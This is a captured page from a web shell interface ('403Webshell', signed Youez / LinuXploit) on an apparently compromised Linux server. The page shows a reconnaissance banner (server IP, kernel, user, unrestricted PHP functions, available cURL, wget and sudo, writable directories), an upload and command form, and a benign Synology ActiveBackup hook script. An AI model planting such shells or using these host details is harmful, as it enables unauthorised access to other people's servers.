403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/local/plugin/group_set/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/plugin/group_set/activebackup_group_set.sh
#!/bin/sh

/usr/syno/bin/synopkg status ActiveBackup > /dev/null 2>&1
if [ $? -ne 0 ]; then #package is disable, just skip
	exit 0
fi

HOOK="/var/packages/ActiveBackup/target/bin/synoabk-hook"

case $1 in
        --name|--pkg-ver|--vendor)
                ${HOOK} package_info $1
        ;;

        --sdk-mod-ver)
                ${HOOK} group --sdk-mod-ver;
        ;;

        --pre)
                ${HOOK} group --pre-set
        ;;

        --post)
                ${HOOK} group --post-set

        ;;

        *)
        ;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit